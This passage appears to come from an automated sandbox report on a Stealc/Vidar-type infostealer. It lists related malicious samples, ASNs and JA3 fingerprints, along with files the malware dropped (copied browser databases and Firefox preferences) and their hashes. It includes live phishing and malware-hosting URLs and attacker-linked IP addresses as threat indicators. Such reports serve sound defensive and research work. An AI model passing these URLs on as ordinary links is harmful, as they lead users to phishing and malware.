	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.78
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	142.250.186.174
	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.110
	file.exe	Get hash	malicious	Unknown	Browse	142.250.181.238
	http://ee-charge-recovery.web.app/	Get hash	malicious	Unknown	Browse	172.217.23.110
www3.l.google.com	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.110
	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.142
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.206
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	172.217.16.206
	file.exe	Get hash	malicious	Unknown	Browse	142.250.184.238
	file.exe	Get hash	malicious	Unknown	Browse	172.217.16.206
	http://www.tinu.be/WOwwytwpD/	Get hash	malicious	Unknown	Browse	142.250.186.46
	https://ourtime.media-datings.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	142.250.184.238
eijfrhegrtbrfcd.online	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
youtube-ui.l.google.com	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.110
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Unknown	Browse	142.250.181.238
	file.exe	Get hash	malicious	Unknown	Browse	142.250.184.206
	file.exe	Get hash	malicious	Unknown	Browse	142.250.181.238
	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.110
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	172.217.16.206
	file.exe	Get hash	malicious	Unknown	Browse	142.250.181.238
	file.exe	Get hash	malicious	Unknown	Browse	142.250.181.238
	http://ee-charge-recovery.web.app/	Get hash	malicious	Unknown	Browse	142.250.185.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
M247GB	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31506.1346.rtf	Get hash	malicious	Remcos	Browse	185.236.203.101
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	91.202.233.158
	file.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141
	purchase order.exe	Get hash	malicious	Snake Keylogger	Browse	172.86.66.70
	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	172.86.66.70
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	91.202.233.169
	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
VMAGE-ASRU	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	194.116.215.195
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	194.116.215.195
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	194.116.215.195
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, Stealc, zgRAT	Browse	194.116.215.195
	jD6b7MZOhT.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	194.116.215.195
	jsJ6NIt35F.exe	Get hash	malicious	Go Injector, Stealc, Vidar	Browse	194.116.216.149
	1.exe	Get hash	malicious	Go Injector, RHADAMANTHYS	Browse	193.23.55.27
	1.bin.exe	Get hash	malicious	Go Injector, RHADAMANTHYS	Browse	193.23.55.27
	Catalog co.pdf.lnk	Get hash	malicious	MalLnk	Browse	45.89.53.91
	QTmGYKK6SL.exe	Get hash	malicious	Unknown	Browse	45.89.55.34
CLOUDFLARENETUS	https://www.google.fr/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Fcasaderestauraciononline.com%2Fholy%2Findexsyn1.html%23cmltYS5hbWV1ckBjYXRhbGluYW1hcmtldGluZy5mcg==	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	0225139776.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://changeofscene.ladesk.com/605425-Secure-Business-Documen	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://careeligibility.vercel.app/chubedan	Get hash	malicious	HTMLPhisher	Browse	172.67.75.166
	https://clicktracking.yellowbook.com/trackinguserwebapp/tracking.html?MB_ID=256862&SE_ID=9&AG_ID=2952701&AD_ID=6851395&kw=restaurants%20near%20me&kw_type=p&C_ID=874339&SE_AD_ID=73873744870314&se_clk_id=0651300f23401ca1b2e355991fb49377&hibu_site=0&redirect_url=https://femalewhowork.sa.com/rUswT/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://lkk6m.conownsup.com/tpgbE/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Trojan.AutoIt.1503.25057.26595.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	file.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	https://kulodayplastomer-my.sharepoint.com/:f:/g/personal/exim_kpplindia_com/EpT6drgdzgdPk3kwQBUf2ZAB7JXXdY25CyMiKP-z5XBGWQ?e=8byFZY	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	Setup_10024.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	ha9wYxkNI7.lnk	Get hash	malicious	XWorm	Browse	104.21.64.194
	9KO1ScZ376.lnk	Get hash	malicious	XWorm	Browse	104.21.64.194
	U4hM4c3l4m.lnk	Get hash	malicious	Unknown	Browse	104.21.64.194
	f1w58Se3jL.lnk	Get hash	malicious	Unknown	Browse	104.21.64.194
	6EFA6YABDc.lnk	Get hash	malicious	Unknown	Browse	104.21.64.194
	1ehTzqaTXV.lnk	Get hash	malicious	Unknown	Browse	104.21.64.194
	Document.pdf.lnk	Get hash	malicious	Bitter Elephant	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
3b5074b1b5d032e5620f69f9f700ff0e	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	37.140.192.213
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	37.140.192.213
	http://polskie-torrenty.eu/redir.php?url=https://globalfinanceweb.com%2FProfile%2Fluig%2Fnzx0k%2FmProtect.html%23abrumley@highlandfunds.com	Get hash	malicious	Unknown	Browse	37.140.192.213
	file.exe	Get hash	malicious	Unknown	Browse	37.140.192.213
	file.exe	Get hash	malicious	Unknown	Browse	37.140.192.213
	rQuotation3200025006.exe	Get hash	malicious	AgentTesla	Browse	37.140.192.213
	.05.2024.exe	Get hash	malicious	Snake Keylogger	Browse	37.140.192.213
	file.exe	Get hash	malicious	Unknown	Browse	37.140.192.213
	https://smallpdf.com/sign-pdf/document#data=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2VzaWduLnNtYWxscGRmLXN0YWdpbmcuY29tIiwic3ViIjoiNjE3MmQyMzMtODcyNy00M2NhLWI1NjQtYjgwZDUyZjYxYmVjIiwiYXVkIjpbImVzaWduIl0sImV4cCI6MTcyODYzODEyMCwibmJmIjoxNzI3NDI4NTIwLCJpYXQiOjE3Mjc0Mjg1MjAsImp0aSI6IjYxNzJkMjMzLTg3MjctNDNjYS1iNTY0LWI4MGQ1MmY2MWJlYyIsInBheWxvYWQiOnsiZW52ZWxvcGVfaWQiOiI2ZWRlMzFjZS00Mzc2LTQwYzItYjJjNy1jMDc2Y2M3MjY4NjIiLCJzaWduX3JlcXVlc3RfaWQiOiI2MTcyZDIzMy04NzI3LTQzY2EtYjU2NC1iODBkNTJmNjFiZWMiLCJ0b2tlbl90eXBlIjoibm90aWZpY2F0aW9uIiwidXNlcl9lbWFpbCI6ImNoYW8ud3VAd3JpLm9yZyIsInVzZXJfZmlyc3RuYW1lIjoiY2hhby53dUB3cmkub3JnIiwidXNlcl9sYXN0bmFtZSI6ImNoYW8ud3VAd3JpLm9yZyJ9fQ.UX67GiHBKgjV8XyH-SFTt_KgB2I_q2j9cbGTSqbzRvY&eid=6ede31ce-4376-40c2-b2c7-c076cc726862&esrt=6172d233-8727-43ca-b564-b80d52f61bec	Get hash	malicious	Unknown	Browse	37.140.192.213
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	37.140.192.213
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.162.108 104.21.64.194
	bfINGx7hvL.exe	Get hash	malicious	LummaC	Browse	172.67.162.108 104.21.64.194
	kewyIO69TI.exe	Get hash	malicious	LummaC	Browse	172.67.162.108 104.21.64.194
	bfINGx7hvL.exe	Get hash	malicious	LummaC	Browse	172.67.162.108 104.21.64.194
	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	172.67.162.108 104.21.64.194
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	172.67.162.108 104.21.64.194
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	172.67.162.108 104.21.64.194
	Dev_Project.xls	Get hash	malicious	Unknown	Browse	172.67.162.108 104.21.64.194
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	172.67.162.108 104.21.64.194
	0UB3FIL25c.exe	Get hash	malicious	LummaC	Browse	172.67.162.108 104.21.64.194
37f463bf4616ecd445d4a1937da06e19	mSLEwIfTGL.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.64.194
	#docs_8299010377388200191-pdf.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.194
	175-33-26-24.HTA.hta	Get hash	malicious	Unknown	Browse	104.21.64.194
	zlsXub68El.exe	Get hash	malicious	Vidar	Browse	104.21.64.194
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.21.64.194
	SecuriteInfo.com.Adware.DownwareNET.4.15389.24193.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.21.64.194
	SecuriteInfo.com.Adware.DownwareNET.4.15389.24193.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.21.64.194
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.194

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	zlsXub68El.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	zlsXub68El.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\AKKEGDGC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKJJJDHDGDAAKECAKJD

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIEHCFI

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDBGCBGIDHCBGDHIEBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DGDBFBFCBFBKECAAKJKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDHIDAAFHIIDGDBFIECFCFHI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBAAAKFCAFIIDHIDGHIECGDGID

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGIJKJJKEBGHJKFIDGCAAFCAF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDHCBGDHJKEBGDGIJECFIDGC

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAAFBGDBKJJJKFIIIJJJECAAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECGIEBAEBFIIECBGCBG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJKEGH

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
